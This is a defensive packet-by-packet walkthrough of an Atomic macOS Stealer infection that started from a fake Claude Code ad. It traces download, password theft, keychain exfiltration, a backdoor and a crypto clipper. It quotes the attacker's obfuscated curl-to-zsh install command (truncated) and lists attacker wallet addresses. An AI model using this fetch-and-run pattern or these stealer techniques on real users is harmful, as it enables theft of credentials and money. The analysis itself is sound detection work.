AMOS Stealer from a Fake Claude Code Ad, Packet by Packet

This walkthrough uses Brad Duncan's capture from his post Atomic macOS (AMOS) Stealer infection from malicious ad impersonating Claude Code on malware-traffic-analysis.net, used with his permission. Brad has published infection traffic there for more than a decade, and his exercises have taught many analysts to read it. We decoded the capture with VisualEther, which turns a Wireshark PCAP into a sequence diagram with a plain-English caption on every message. Brad hasn't reviewed this article; any annotation errors are ours.

The capture, 2026-10-02-AMOS-Stealer-traffic.pcap, is on Brad's post with his indicator notes and the malware samples. The zip archives are password-protected; his about page gives the password scheme. The capture records live malicious infrastructure, and the other archives contain working malware, so open them only on an isolated analysis machine.

We drew the infection as one annotated sequence diagram. The Mac and each server it contacts get a lane, and each of the 65 messages is an arrow numbered as in Wireshark, with a caption explaining what the packet does and why it matters. The capture also holds about 15 minutes of ordinary browsing, which the diagram leaves out. The walkthrough below uses the same frame numbers. The diagram comes in three forms:

💡 Read the walkthrough and the diagram side by side: open the interactive diagram in a split-screen window, or open it in a new tab and snap the two windows side by side.

Overview

On October 2, 2026, Brad searched Google from a Mac and clicked an ad impersonating Claude Code. About four minutes later the Mac had lost its login password, its keychain database, its desktop screenshots, and whatever its browsers, wallets, and password manager held. It had also installed a backdoor and a program that swaps cryptocurrency addresses on the clipboard.

The malware is Atomic macOS Stealer (AMOS), an information stealer that criminals rent as a service and that security researchers have tracked since 2023. Most of its traffic in this capture is plain HTTP, so the capture shows nearly everything it stole.

The walkthrough follows the capture in nine phases:

1. A search ad leads to a fake site (frames 2–1108). Safari follows the ad's redirect to claude-desk-code[.]com.
2. The pasted command runs (frames 1767–2885). curl downloads a script and the stealer and reports to a tracker.
3. The stealer checks in and starts collecting (frames 2962–3036). Seven progress reports and the first upload.
4. The stolen password (frames 3151–3166). A fake password dialog, then a second upload with the password.
5. The bulk upload (frames 3250–7668). 3 MB, including the keychain database.
6. Staying on the Mac (frames 7671–8166). Two downloads that match the persistent programs.
7. A backdoor checks in (frames 8272–8781). Registration and a WebSocket held open.
8. A clipboard hijacker loads its address list (frames 8807–8850).
9. Fifteen minutes later (frames 27874–27886). The backdoor polls for a task.

A note on the capture we rendered: a 24 MB capture is too large for VisualEther to keep every packet's field tree, so we made a copy that cuts each packet outside the infection's connections down to its first 54 bytes, its headers. No packet was removed or reordered, so the frame numbers in the diagram match Brad's original file exactly.

Throughout, malicious domains and IP addresses are written defanged, with [.] in place of the dot, so that nobody visits one by accident.

A primer: reading malware traffic without decrypting it

A few ideas make the frames easy to read:

• ClickFix. The fake site doesn't offer a download. It shows "install instructions": copy one line, paste it into Terminal, press Return. The victim runs the attacker's command themselves. A file fetched by curl carries no quarantine flag, so macOS Gatekeeper never checks it, and no browser download warning appears.
• What encryption hides, and what it doesn't. HTTPS hides the content of a connection, but not who it goes to. The DNS lookup before it names the domain in plain text. The first message of the TLS handshake, the Client Hello, names the site again in its Server Name Indication (SNI) field. Sizes and timing stay visible too.
• JA4 fingerprints. Every TLS client builds its Client Hello a little differently: which ciphers it offers, which extensions, in what order. JA4 condenses those choices into a short string that Wireshark computes. Its first part is readable: t13d2013h2 means TLS 1.3 over TCP, a server name present, 20 cipher suites, 13 extensions, and HTTP/2 offered first. Two programs on the same Mac produce two different fingerprints, which is how this capture separates Safari from the malware.
• Command and control (C2). Malware takes orders from, and reports to, servers its operators run. Here three C2 servers are contacted by bare IP address, with no DNS lookup and over plain HTTP on port 80. Plain HTTP needs no certificate and no domain, which makes it cheap for the attacker and readable for a defender.
• Exfiltration. Exfiltration is moving stolen data off the machine. Here it takes the form of a zip file posted to the C2 server as an ordinary web form upload (multipart/form-data).

Phase 1 — A search ad leads to a fake site (frames 2–1108)

The first lookup in the capture, frame 2, is for uerp[.]com, the redirect behind the Google ad. In frame 9 Safari opens HTTPS to it. The Client Hello carries Safari's fingerprint, t13d2013h2_a09f3c656075_7f0f34a4126d. Keep it in mind: it marks traffic the browser makes.

The redirect lands on claude-desk-code[.]com. Frame 40 resolves it to two Cloudflare addresses, and frames 42 and 76 open QUIC connections to it, HTTP/3 over UDP port 443. QUIC encrypts its first packet only with keys anyone can derive from the packet itself, so Wireshark can still read the Client Hello inside and show the server name.

Fifteen seconds later, Safari reconnects (frames 1075 and 1108). Brad's screenshots show what the page displays: Claude Code branding and an install command to paste into Terminal. Safari's part in the infection ends here. Everything after this point comes from the pasted command.

Phase 2 — The pasted command runs (frames 1767–2885)

The page's command looks harmless at a glance:

echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtl...=" | openssl base64 -d -A) | zsh

The echo prints a legitimate-looking Claude URL. The real address is the base64 string, which openssl decodes and curl fetches; the reply goes straight into the zsh shell.

On the wire, 82 seconds after Safari's last connection, the Mac looks up lake-90[.]com (frame 1767). The Client Hello in frame 1772 is the first sign of a different program: its fingerprint is t13d4907h2_0d8feac7bc37_7395dae3b2f3, with 49 cipher suites and 7 extensions instead of Safari's 20 and 13. It is macOS curl, the same program the plain-HTTP requests later name in their User-Agent. A non-browser fingerprint appearing on a workstation seconds after a browser visit, to a domain the network has never seen, is a strong alert on its own.

Here is that Client Hello as Wireshark decodes it. Under the server_name extension sits the domain, and at the end of the handshake fields sits the JA4 string:

Frame 1772, curl's Client Hello to lake-90[.]com. Open Extension: server_name for the SNI, and compare the JA4 near the bottom of the Client Hello with Safari's in frame 9: t13d4907h2 (49 ciphers, 7 extensions) against t13d2013h2 (20 ciphers, 13 extensions).

Four HTTPS connections follow. The contents are encrypted, but Brad's notes list the requests, and the byte counts fit them:

The stealer is a universal binary that runs on both Intel and Apple-silicon Macs. The two reports to loop-88[.]com tell the operators that a victim pasted the command and that the stager ran.

Phase 3 — The stealer checks in and starts collecting (frames 2962–3036)

From frame 2962 on, the stealer talks to its C2 server, 152.42.143[.]45, over plain HTTP. Its first message is a small JSON POST:

{"os":"macOS","os_version":"27.0.1","arch":"arm64","locale":"en_US",
 "u":"aG0d01B0TuWqI0bcCKz_iasaMoZv5GMqN0HtugY76Fo",
 "b":"3kMeZTXI70r5Bettq-qjUI5TKhXGFMcFKmslSuec458",
 "event":"started","stage":"boot"}

u identifies the victim and b the malware build. Three details flag this packet: curl/8.7.1 as the User-Agent, a bare IP address in the Host header, and data posted to a server the Mac never looked up.

The stealer then reports each collection step as it starts, each on a new TCP connection, and the server acknowledges each with 204 No Content:

0.8 seconds after boot, frame 3015 uploads the first zip to /contact. Exporting it from the capture shows what the stealer has so far: an info file, the username, the shell history, and empty folders for the apps it searched. The server accepts the upload with 200 OK in frame 3036.

Phase 4 — The stolen password (frames 3151–3166)

The next 110 seconds are silent. In that gap, the stealer displayed the fake macOS password dialog seen in Brad's screenshots and waited for a person to type.

Then frame 3151 reports stage: resolve_auth, and 14 ms later frame 3157 uploads a second zip. It matches the first, with one new 9-byte file named pwd: the Mac's login password. On a Mac the login password also protects the user's keychain, the encrypted store of saved passwords, so this upload prepares for the next one.

The upload is an ordinary web form, the same kind a browser sends when you attach a file. Wireshark splits it into its parts:

Frame 3157, the second upload to /contact. Open MIME Multipart Media Encapsulation to see the six parts: the victim ID u, the build ID b, the one-digit flags l, n, and p, and the zip file. The zip itself is shown only by its first bytes.

Phase 5 — The bulk upload (frames 3250–7668)

Frame 3250 reports stage: local_data: the stealer has finished gathering files. Its last upload is large, so curl sends only the headers first, with Expect: 100-continue and Content-Length: 3072906. The server answers 100 Continue (frame 3259), and the body follows: about 2,250 TCP segments in 2.3 seconds, which Wireshark reassembles into the single request in frame 6295.

Here is what the three uploads carry, read from the zips exported from the capture:

The keychain files (keychain-2.db, its write-ahead log, and the user.kb keybag) make up about 2.6 MB of the last upload. The process and software lists tell the operators which security tools are running. Brad's notes show that the stealer then deleted its working folder and zip from /tmp, so little remains on disk. The network copy of everything it stole remains in the capture.

Phase 6 — Staying on the Mac (frames 7671–8166)

Less than a tenth of a second after the last upload is acknowledged, the Mac looks up delta-canvas[.]com (frame 7671), another Cloudflare-fronted domain. Frames 7678 and 8166 open two HTTPS connections with curl's fingerprint. Each brings down about half a megabyte on the wire, which fits the two persistent programs Brad found:

• AccountsHelper, 504,752 bytes, named after Apple's accountsd service.
• mdworker_shared, 535,440 bytes, named after a real Spotlight process.

Both are installed as LaunchDaemons (com.apple.accountsd.helper.plist and com.apple.metadata.mds.worker.plist), which macOS starts at every boot. The traffic doesn't show which download became which program; the sizes are what tie them together.

Phase 7 — A backdoor checks in (frames 8272–8781)

Frame 8272 looks up cloudflare-dns[.]com, Cloudflare's legitimate DNS-over-HTTPS (DoH) service, and frame 8277 connects to it with curl's fingerprint. Within 0.3 seconds the Mac contacts a new C2 address, 199.91.221[.]4, that it never resolved through ordinary DNS. The backdoor likely looks up its C2 server over encrypted DoH, out of sight of the network's resolver and its logs. The same pattern repeats before the clipper's first contact in phase 8.

The registration in frame 8587 is a four-line form body: the stealer's victim ID u from frame 2962, a 10-character identifier FF40665JVF, a version 3.0, and a 16-hex-digit value. Reusing the victim ID links the backdoor to the stealer on the operators' side. The server's reply in frame 8754 assigns a bot ID, nXRcuuI6xw26GDOLeZiW0w, and a token.

Frame 8771 then asks to upgrade a new connection to a WebSocket, a two-way channel the server can push commands down at any time. Every earlier request said curl/8.7.1; this one claims to be Safari 17.2, a version from December 2023, on a Mac that the stealer reported as running macOS 27 (frame 2962). A copied browser User-Agent is a common disguise, and here the capture contradicts it.

Frame 8771, the WebSocket upgrade. The Upgrade and Sec-WebSocket-Key headers ask for the switch, the query string carries uid, v, and s, and the User-Agent claims Safari 17.2. Every other request from this Mac says curl/8.7.1.

The server accepts with 101 Switching Protocols (frame 8778) and sends its first Ping 0.04 ms later. The Mac answers each with a Pong, masked as RFC 6455 requires of every client frame. The pair repeats every 25 seconds, 37 times; the diagram shows the first and the last. A perfectly regular heartbeat to a bare IP address is a beaconing signal even when no command is ever sent.

Phase 8 — A clipboard hijacker loads its address list (frames 8807–8850)

After a second DoH connection (frame 8807), a second implant registers with a third C2 server, 193.233.210[.]226, using the same victim ID and identifier (frame 8836). The server returns a 32-hex-digit feed ID (frame 8838), and the implant fetches that feed (frame 8846).

The reply in frame 8850 is the most revealing message in the capture: a JSON list, version 5, of 19 rules, each pairing a blockchain with an attacker-owned address.

{"rules":[
  {"chain":"ADA_STAKE","address":"stake1uya439lcm6lwa6t6jsgz0d3gncgs73agw0s8ux7dyweq4pcqpcfkg"},
  {"chain":"BTC_BECH32","address":"bc1qpzqp0vcdtrjx3ygk9zqplyu47hv2t6t05uukk2"},
  ...
 ],"version":5}

This is a clipper: malware that watches the clipboard and, when the user copies a wallet address, swaps in the attacker's address of the same format. The victim pastes it into a payment and pays the attacker. A swapped address must look valid for the chain being paid, so the list has one rule per address format: 19 rules for 15 blockchains. Bitcoin gets four, one for each of its formats: legacy (1…), script (3…), SegWit (bc1q…), and Taproot (bc1p…). Litecoin gets two, legacy and SegWit. Ethereum, Solana, Dogecoin, XRP, Tron, Cardano, Avalanche, and six other chains get one each.

Phase 9 — Fifteen minutes later (frames 27874–27886)

Between frames 8850 and 27874, the capture is Brad's ordinary browsing: weather, news, and social sites. The backdoor's heartbeat runs underneath it. The 37th ping, in frame 27874, arrives 900 seconds after the first, exactly 36 intervals of 25 seconds.

Less than a second after that last pong, the Mac closes the WebSocket itself (frame 27878). It sends a plain TCP FIN, with no WebSocket close message. The socket had been open for 900.9 seconds, almost exactly 15 minutes. 35 ms later the Mac opens a new connection to the same server and polls over plain HTTP: GET /api/tasks/nXRcuuI6xw26GDOLeZiW0w (frame 27884), using the bot ID from frame 8754. The server's whole reply is one word, pong (frame 27886).

Together, these frames look like a scheduled cycle: hold the WebSocket for 15 minutes, drop it, check for queued tasks over HTTP, and probably reconnect. The pong could mean "no task", or it could simply answer a keepalive; with one cycle in the capture, the two readings can't be told apart. The capture ends 17 seconds later, before any reconnect, with the backdoor still waiting for orders.

Detecting it on the network

Each stage leaves evidence an analyst or an intrusion detection system can act on, even where the traffic is encrypted:

• The TLS fingerprint changes mid-session. A non-browser JA4 (t13d4907h2_...) appears on a workstation right after a browser visit, to a newly seen domain (frames 1772 onward).
• curl talks to bare IP addresses. A curl User-Agent posts JSON and zip files over plain HTTP to an address the host never resolved (frames 2962–6295).
• A large upload leaves the network. A 3 MB multipart/form-data request goes to an unresolved IP, announced by Expect: 100-continue (frames 3253–6295).
• A non-browser process uses DoH. Each lookup is followed within a second by a connection to an IP with no DNS record (frames 8277 and 8807).
• A WebSocket wears a disguise. Its Safari User-Agent contradicts the host, it connects to a bare IP address, and the server pings it every 25 seconds (frames 8771–27876).

These indicators come from the capture. Brad's post lists the full set, with file hashes:

Takeaways

1. The victim ran the malware. ClickFix turns "copy and paste this install command" into code execution, bypassing download warnings and Gatekeeper. Anything that tells you to paste a command into Terminal deserves a second look, however familiar the brand.
2. Encryption hides content, not identity. DNS names, SNI, and JA4 fingerprints traced every HTTPS hop in this infection, and a single fingerprint change separated the browser from the malware.
3. The theft ran over plain HTTP. The password, keychain, and screenshots crossed the network unencrypted, so anyone on the path, the attacker included, could read them, and so can an analyst with a capture.
4. The password is the key to everything else. The password taken in phase 4 is what the attackers need to decrypt the keychain taken in phase 5. A password dialog that appears right after you paste a command from a website is the attack itself.
5. The stealer is only the start. Within seconds of the theft, the Mac had a backdoor taking orders and a clipper waiting to redirect payments. Cleaning up means removing the persistent programs, changing every password the Mac held, and moving funds out of every wallet it held.